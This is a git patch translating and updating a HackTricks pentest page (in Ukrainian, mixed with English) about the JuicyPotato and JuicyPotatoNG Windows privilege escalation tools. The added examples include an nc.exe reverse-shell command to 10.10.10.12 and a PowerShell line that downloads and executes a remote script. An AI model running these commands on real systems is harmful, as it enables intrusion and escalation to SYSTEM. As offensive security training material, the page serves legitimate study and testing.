From 0b4869c53cc0b9db7d0e756d147c7ec7019625da Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 3 Sep 2025 12:39:14 +0000 Subject: [PATCH] Translated ['src/windows-hardening/windows-local-privilege-escalation/ju --- .../juicypotato.md | 114 +++++++++++------- 1 file changed, 70 insertions(+), 44 deletions(-) diff --git a/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md b/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md index 836f6e116..1f7c51f47 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md +++ b/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md @@ -2,7 +2,8 @@ {{#include ../../banners/hacktricks-training.md}} -> [!WARNING] > **JuicyPotato не працює** на Windows Server 2019 та Windows 10 версії 1809 і новіших. Однак, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato) можуть бути використані для **отримання тих же привілеїв і доступу на рівні `NT AUTHORITY\SYSTEM`**. _**Перевірте:**_ +> [!WARNING] > JuicyPotato застарілий. Зазвичай він працює на Windows версіях до Windows 10 1803 / Windows Server 2016. Зміни від Microsoft, введені починаючи з Windows 10 1809 / Server 2019, порушили оригінальну техніку. Для цих збірок і новіших розгляньте сучасні альтернативи, такі як PrintSpoofer, RoguePotato, SharpEfsPotato/EfsPotato, GodPotato та інші. Див. сторінку нижче для актуальних варіантів та використання. + {{#ref}} roguepotato-and-printspoofer.md @@ -10,46 +11,51 @@ roguepotato-and-printspoofer.md ## Juicy Potato (зловживання золотими привілеями) -_Цукрова версія_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG)_, з трохи соку, тобто **інший інструмент підвищення локальних привілеїв, з облікових записів служб Windows до NT AUTHORITY\SYSTEM**_ +_Підсолоджена версія_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG)_, з невеликою дозою соку, тобто **ще один Local Privilege Escalation tool, з Windows Service Accounts до NT AUTHORITY\SYSTEM**_ -#### Ви можете завантажити juicypotato з [https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts](https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts) +#### You can download juicypotato from [https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts](https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts) -### Резюме +### Compatibility quick notes -[**З Readme juicy-potato**](https://github.com/ohpe/juicy-potato/blob/master/README.md)**:** +- Працює надійно до Windows 10 1803 і Windows Server 2016, коли поточний контекст має SeImpersonatePrivilege або SeAssignPrimaryTokenPrivilege. +- Порушено через посилення захисту Microsoft у Windows 10 1809 / Windows Server 2019 і новіших. Для цих збірок віддавайте перевагу альтернативам, наведеним вище. -[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) та його [варіанти](https://github.com/decoder-it/lonelypotato) використовують ланцюг підвищення привілеїв на основі [`BITS`]() [сервісу](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126), що має MiTM слухача на `127.0.0.1:6666`, і коли у вас є привілеї `SeImpersonate` або `SeAssignPrimaryToken`. Під час огляду збірки Windows ми виявили налаштування, де `BITS` був навмисно вимкнений, а порт `6666` був зайнятий. +### Summary -Ми вирішили озброїти [RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG): **Скажіть привіт Juicy Potato**. +[**From juicy-potato Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md)**:** -> Для теорії дивіться [Rotten Potato - Підвищення привілеїв з облікових записів служб до SYSTEM](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/) і слідкуйте за ланцюгом посилань і референсів. +[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) і його [variants](https://github.com/decoder-it/lonelypotato) використовують ланцюжок підвищення привілеїв, заснований на сервісі [`BITS`]() [service](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126), який має MiTM прослуховувач на `127.0.0.1:6666`, і коли у вас є права `SeImpersonate` або `SeAssignPrimaryToken`. Під час перегляду збірки Windows ми виявили налаштування, де `BITS` було навмисно відключено і порт `6666` був зайнятий. -Ми виявили, що, окрім `BITS`, є кілька COM-серверів, які ми можемо зловживати. Вони просто повинні: +Ми вирішили озброїти [RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG): **Зустрічайте Juicy Potato**. -1. бути інстанційованими поточним користувачем, зазвичай "службовим користувачем", який має привілеї імперсонації +> Для теорії див. [Rotten Potato - Privilege Escalation from Service Accounts to SYSTEM](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/) і слідуйте ланцюжку посилань та референцій. + +Ми виявили, що, окрім `BITS`, існує кілька COM-серверів, якими можна зловживати. Вони мають лише: + +1. бути інстанційовуваними поточним користувачем, зазвичай «service user», який має права імперсонації 2. реалізовувати інтерфейс `IMarshal` -3. працювати як підвищений користувач (SYSTEM, Адміністратор, …) +3. працювати від імені підвищеного користувача (SYSTEM, Administrator, …) -Після деяких тестувань ми отримали та протестували розширений список [цікавих CLSID](http://ohpe.it/juicy-potato/CLSID/) на кількох версіях Windows. +Після деяких тестів ми зібрали й перевірили великий список [interesting CLSID’s](http://ohpe.it/juicy-potato/CLSID/) на кількох версіях Windows. -### Соковиті деталі +### Juicy details JuicyPotato дозволяє вам: -- **Цільовий CLSID** _виберіть будь-який CLSID, який ви хочете._ [_Тут_](http://ohpe.it/juicy-potato/CLSID/) _ви можете знайти список, організований за ОС._ -- **COM порт прослуховування** _визначте COM порт прослуховування, який ви віддаєте перевагу (замість зашитого 6666)_ -- **IP-адреса прослуховування COM** _прив'яжіть сервер до будь-якої IP-адреси_ -- **Режим створення процесу** _в залежності від привілеїв імперсонованого користувача ви можете вибрати з:_ -- `CreateProcessWithToken` (потрібен `SeImpersonate`) -- `CreateProcessAsUser` (потрібен `SeAssignPrimaryToken`) -- `обидва` -- **Процес для запуску** _запустіть виконуваний файл або скрипт, якщо експлуатація успішна_ -- **Аргумент процесу** _налаштуйте аргументи запущеного процесу_ -- **Адреса RPC-сервера** _для прихованого підходу ви можете аутентифікуватися на зовнішньому RPC-сервері_ -- **Порт RPC-сервера** _корисно, якщо ви хочете аутентифікуватися на зовнішньому сервері, а брандмауер блокує порт `135`…_ -- **РЕЖИМ ТЕСТУ** _в основному для тестування, тобто тестування CLSID. Він створює DCOM і виводить користувача токена. Дивіться_ [_тут для тестування_](http://ohpe.it/juicy-potato/Test/) +- **Target CLSID** _оберіть будь-який CLSID, який хочете._ [_Here_](http://ohpe.it/juicy-potato/CLSID/) _ви знайдете список, організований за ОС._ +- **COM Listening port** _визначте COM listening port, який вам підходить (замість захардкодженого marshalled 6666)_ +- **COM Listening IP address** _прив’яжіть сервер до будь-якої IP-адреси_ +- **Process creation mode** _залежно від привілеїв імперсонованого користувача ви можете обирати з:_ +- `CreateProcessWithToken` (потребує `SeImpersonate`) +- `CreateProcessAsUser` (потребує `SeAssignPrimaryToken`) +- `both` +- **Process to launch** _запустити виконуваний файл або скрипт у випадку успішної експлуатації_ +- **Process Argument** _налаштувати аргументи для запуску процесу_ +- **RPC Server address** _для більш прихованого підходу ви можете автентифікуватися до зовнішнього RPC server_ +- **RPC Server port** _корисно, якщо ви хочете автентифікуватися до зовнішнього сервера, а фаєрвол блокує порт `135`…_ +- **TEST mode** _переважно для тестування, наприклад тестування CLSIDів. Створює DCOM і виводить користувача токена. Див._ [_here for testing_](http://ohpe.it/juicy-potato/Test/) -### Використання +### Usage ``` T:\>JuicyPotato.exe JuicyPotato v0.1 @@ -66,23 +72,44 @@ Optional args: -k : RPC server ip address (default 127.0.0.1) -n : RPC server listen port (default 135) ``` -### Остаточні думки +### Final thoughts -[**З Readme juicy-potato**](https://github.com/ohpe/juicy-potato/blob/master/README.md#final-thoughts)**:** +[**From juicy-potato Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md#final-thoughts)**:** -Якщо у користувача є привілеї `SeImpersonate` або `SeAssignPrimaryToken`, то ви є **SYSTEM**. +Якщо користувач має `SeImpersonate` або `SeAssignPrimaryToken` привілеї, то ви — **SYSTEM**. -Майже неможливо запобігти зловживанню всіма цими COM-серверами. Ви можете подумати про зміну дозволів цих об'єктів через `DCOMCNFG`, але удачі, це буде складно. +Практично неможливо запобігти зловживанню всіма цими COM Servers. Можна подумати про зміну дозволів цих об'єктів через `DCOMCNFG`, але успіху не обіцяю — це буде складно. -Фактичне рішення полягає в захисті чутливих облікових записів та програм, які працюють під обліковими записами `* SERVICE`. Зупинка `DCOM` безумовно завадить цій експлуатації, але може мати серйозний вплив на основну ОС. +Фактичне рішення — захищати чутливі облікові записи та додатки, які працюють під обліковими записами `* SERVICE`. Зупинка `DCOM` безумовно ускладнить цей експлойт, але може мати серйозний вплив на базову ОС. -З: [http://ohpe.it/juicy-potato/](http://ohpe.it/juicy-potato/) +From: [http://ohpe.it/juicy-potato/](http://ohpe.it/juicy-potato/) + +## JuicyPotatoNG (2022+) + +JuicyPotatoNG повторно вводить JuicyPotato-style local privilege escalation на сучасних Windows, комбінуючи: +- DCOM OXID resolution to a local RPC server on a chosen port, avoiding the old hardcoded 127.0.0.1:6666 listener. +- An SSPI hook to capture and impersonate the inbound SYSTEM authentication without requiring RpcImpersonateClient, which also enables CreateProcessAsUser when only SeAssignPrimaryTokenPrivilege is present. +- Трюки, щоб задовольнити обмеження активації DCOM (наприклад, колишня вимога INTERACTIVE-group при націлюванні на класи PrintNotify / ActiveX Installer Service). + +Important notes (evolving behavior across builds): +- September 2022: Initial technique worked on supported Windows 10/11 and Server targets using the “INTERACTIVE trick”. +- January 2023 update from the authors: Microsoft later blocked the INTERACTIVE trick. A different CLSID ({A9819296-E5B3-4E67-8226-5E72CE9E1FB7}) restores exploitation but only on Windows 11 / Server 2022 according to their post. + +Basic usage (more flags in the help): +``` +JuicyPotatoNG.exe -t * -p "C:\Windows\System32\cmd.exe" -a "/c whoami" +# Useful helpers: +# -b Bruteforce all CLSIDs (testing only; spawns many processes) +# -s Scan for a COM port not filtered by Windows Defender Firewall +# -i Interactive console (only with CreateProcessAsUser) +``` +Якщо ви націлюєтеся на Windows 10 1809 / Server 2019, де класичний JuicyPotato запатчено, надавайте перевагу альтернативам, вказаним вище (RoguePotato, PrintSpoofer, EfsPotato/GodPotato тощо). NG може бути ситуаційним залежно від збірки та стану служби. ## Приклади -Примітка: Відвідайте [цю сторінку](https://ohpe.it/juicy-potato/CLSID/) для списку CLSID, які можна спробувати. +Примітка: Відвідайте [this page](https://ohpe.it/juicy-potato/CLSID/) для списку CLSID-ів, які варто спробувати. -### Отримати зворотний шелл nc.exe +### Отримати nc.exe reverse shell ``` c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t * @@ -99,30 +126,29 @@ c:\Users\Public> ``` .\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t * ``` -### Запустіть новий CMD (якщо у вас є доступ до RDP) +### Запустити новий CMD (якщо у вас є доступ по RDP) ![](<../../images/image (300).png>) -## Проблеми з CLSID +## CLSID Problems -Часто стандартний CLSID, який використовує JuicyPotato, **не працює** і експлойт зазнає невдачі. Зазвичай, потрібно кілька спроб, щоб знайти **працюючий CLSID**. Щоб отримати список CLSID для конкретної операційної системи, вам слід відвідати цю сторінку: +Часто стандартний CLSID, який використовує JuicyPotato, **не працює**, і exploit зазнає невдачі. Зазвичай потрібно кілька спроб, щоб знайти **працюючий CLSID**. Щоб отримати список CLSID для конкретної операційної системи, відвідайте цю сторінку: -{{#ref}} -https://ohpe.it/juicy-potato/CLSID/ -{{#endref}} +- [https://ohpe.it/juicy-potato/CLSID/](https://ohpe.it/juicy-potato/CLSID/) ### **Перевірка CLSID** Спочатку вам знадобляться деякі виконувані файли, окрім juicypotato.exe. -Завантажте [Join-Object.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/utils/Join-Object.ps1) і завантажте його у вашу PS сесію, а також завантажте та виконайте [GetCLSID.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/GetCLSID.ps1). Цей скрипт створить список можливих CLSID для тестування. +Завантажте [Join-Object.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/utils/Join-Object.ps1) і завантажте його у вашу PS session, а також завантажте й виконайте [GetCLSID.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/GetCLSID.ps1). Цей скрипт створить список можливих CLSID для тестування. -Потім завантажте [test_clsid.bat ](https://github.com/ohpe/juicy-potato/blob/master/Test/test_clsid.bat) (змініть шлях до списку CLSID та до виконуваного файлу juicypotato) і виконайте його. Він почне пробувати кожен CLSID, і **коли номер порту зміниться, це означатиме, що CLSID спрацював**. +Потім завантажте [test_clsid.bat ](https://github.com/ohpe/juicy-potato/blob/master/Test/test_clsid.bat) (змініть шлях до списку CLSID та до виконуваного файлу juicypotato) і виконайте його. Він почне перевіряти кожний CLSID, і **коли зміниться номер порту, це означатиме, що CLSID спрацював**. -**Перевірте** працюючі CLSID **за допомогою параметра -c** +**Перевірте** робочі CLSID **за допомогою параметра -c** -## Посилання +## References - [https://github.com/ohpe/juicy-potato/blob/master/README.md](https://github.com/ohpe/juicy-potato/blob/master/README.md) +- [Giving JuicyPotato a second chance: JuicyPotatoNG (decoder.it)](https://decoder.cloud/2022/09/21/giving-juicypotato-a-second-chance-juicypotatong/) {{#include ../../banners/hacktricks-training.md}}